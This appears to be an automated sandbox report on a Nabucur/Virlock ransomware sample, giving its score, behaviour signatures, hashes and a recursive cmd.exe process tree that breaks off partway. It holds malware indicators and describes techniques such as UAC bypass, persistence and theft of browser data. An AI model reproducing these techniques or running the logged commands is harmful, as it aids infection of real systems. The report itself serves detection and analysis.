Overview

overview

10

Static

static

3

2026-10-26...ck.exe

windows10-2004-x64

10

2026-10-26...ck.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 16:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
  • Size 2.1MB
  • Sample261027-thjy8set4w
  • SHA256 f64901bab6b25f3bded956b1f3ce19cb09a40dcddf5f63d50f1c34aac27a486f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionnabucurpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Family: Nabucur

    Nabucur is a ransomware first seen in 2015.

    ransomwarenabucur
  • Modifies visibility of file extensions in Explorer 2 TTPs 64 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 64 IoCs
    defense_evasiontrojan
  • Renames multiple (127) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 64 IoCs
    execution
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry key 1 TTPs 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of FindShellTrayWindow 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Users\Admin\aAsUYEAw\FOcUEcUA.exe
      "C:\Users\Admin\aAsUYEAw\FOcUEcUA.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      PID:1660
    • C:\ProgramData\mqwUoAog\tUYkMAUQ.exe
      "C:\ProgramData\mqwUoAog\tUYkMAUQ.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      PID:2148
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1244
      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1516
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6052
          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5528
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1572
              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3476
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                  8⤵
                  • Executes a command shell one-liner
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4708
                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:5012
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                      10⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4992
                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                        11⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:4920
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                          12⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:984
                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                            13⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:3888
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                              14⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3720
                              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                15⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:2156
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                  16⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3596
                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                    17⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:2940
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                      18⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:2720
                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                        19⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4584
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                          20⤵
                                            PID:2548
                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                              21⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4796
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                22⤵
                                                  PID:4784
                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                    23⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2728
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                      24⤵
                                                      • Executes a command shell one-liner
                                                      PID:924
                                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                        25⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:1992
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                          26⤵
                                                            PID:3540
                                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                              27⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:4580
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                28⤵
                                                                  PID:2252
                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                    29⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5952
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                      30⤵
                                                                      • Executes a command shell one-liner
                                                                      PID:4892
                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                        31⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:1440
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                          32⤵
                                                                            PID:3664
                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                              33⤵
                                                                                PID:2336
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                  34⤵
                                                                                    PID:4416
                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                      35⤵
                                                                                        PID:1448
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                          36⤵
                                                                                          • Executes a command shell one-liner
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:5516
                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                            37⤵
                                                                                              PID:4608
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                38⤵
                                                                                                  PID:1200
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                    39⤵
                                                                                                      PID:5252
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                        40⤵
                                                                                                          PID:936
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                            41⤵
                                                                                                              PID:2672
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                42⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:2328
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                  43⤵
                                                                                                                    PID:5072
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                      44⤵
                                                                                                                      • Executes a command shell one-liner
                                                                                                                      PID:4180
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                        45⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:3876
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                          46⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:3668
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                            47⤵
                                                                                                                              PID:3652
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                48⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:4804
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                  49⤵
                                                                                                                                    PID:1480
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                      50⤵
                                                                                                                                        PID:5280
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                          51⤵
                                                                                                                                            PID:3724
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                              52⤵
                                                                                                                                                PID:3356
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                  53⤵
                                                                                                                                                    PID:5796
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                      54⤵
                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                      PID:5056
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                        55⤵
                                                                                                                                                          PID:4628
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                            56⤵
                                                                                                                                                              PID:4088
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                57⤵
                                                                                                                                                                  PID:3000
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                    58⤵
                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                    PID:6768
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                      59⤵
                                                                                                                                                                        PID:6844
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                          60⤵
                                                                                                                                                                            PID:7072
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                              61⤵
                                                                                                                                                                                PID:7108
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                  62⤵
                                                                                                                                                                                    PID:5564
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                      63⤵
                                                                                                                                                                                        PID:2308
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                          64⤵
                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                          PID:1164
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                            65⤵
                                                                                                                                                                                              PID:2816
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                66⤵
                                                                                                                                                                                                  PID:6296
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                    67⤵
                                                                                                                                                                                                      PID:6332
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                        PID:3436
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                          69⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:3960
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                            70⤵
                                                                                                                                                                                                              PID:1296
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                71⤵
                                                                                                                                                                                                                  PID:3952
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                    72⤵
                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                    PID:1368
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                      73⤵
                                                                                                                                                                                                                        PID:1224
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                          74⤵
                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                          PID:256
                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                            75⤵
                                                                                                                                                                                                                              PID:3484
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                              75⤵
                                                                                                                                                                                                                                PID:876
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                  76⤵
                                                                                                                                                                                                                                    PID:7012
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                      77⤵
                                                                                                                                                                                                                                        PID:1900
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                          78⤵
                                                                                                                                                                                                                                            PID:2172
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                              79⤵
                                                                                                                                                                                                                                                PID:1028
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                  80⤵
                                                                                                                                                                                                                                                    PID:2868
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                      81⤵
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      PID:5876
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                        82⤵
                                                                                                                                                                                                                                                          PID:2132
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                            83⤵
                                                                                                                                                                                                                                                              PID:6148
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
